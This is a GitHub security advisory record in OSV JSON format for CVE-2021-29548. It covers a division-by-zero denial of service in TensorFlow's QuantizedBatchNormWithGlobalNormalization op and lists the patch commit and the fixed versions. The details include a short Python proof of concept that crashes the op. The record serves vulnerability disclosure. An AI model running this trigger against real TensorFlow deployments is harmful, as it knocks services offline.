{
"affected": [
{
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"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
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],
"aliases": [
"CVE-2021-29548"
],
"database_specific": {
"cwe_ids": [
"CWE-369"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T21:30:45Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nt_min = tf.constant(-10.0, dtype=tf.float32)\nt_max = tf.constant(-10.0, dtype=tf.float32)\nm = tf.constant([], shape=[0], dtype=tf.quint8)\nm_min = tf.constant(-10.0, dtype=tf.float32)\nm_max = tf.constant(-10.0, dtype=tf.float32)\nv = tf.constant([], shape=[0], dtype=tf.quint8)\nv_min = tf.constant(-10.0, dtype=tf.float32)\nv_max = tf.constant(-10.0, dtype=tf.float32)\nbeta = tf.constant([], shape=[0], dtype=tf.quint8)\nbeta_min = tf.constant(-10.0, dtype=tf.float32)\nbeta_max = tf.constant(-10.0, dtype=tf.float32)\ngamma = tf.constant([], shape=[0], dtype=tf.quint8)\ngamma_min = tf.constant(-10.0, dtype=tf.float32)\ngamma_max = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n gamma_max=gamma_max, out_type=tf.qint32,\n variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op\u0027s contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization).\n\n### Patches \nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team",
"id": "GHSA-p45v-v4pw-77jr",
"modified": "2024-10-31T20:46:23Z",
"published": "2021-05-21T14:23:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p45v-v4pw-77jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29548"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-476.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-674.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-185.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Division by 0 in `QuantizedBatchNormWithGlobalNormalization`"
}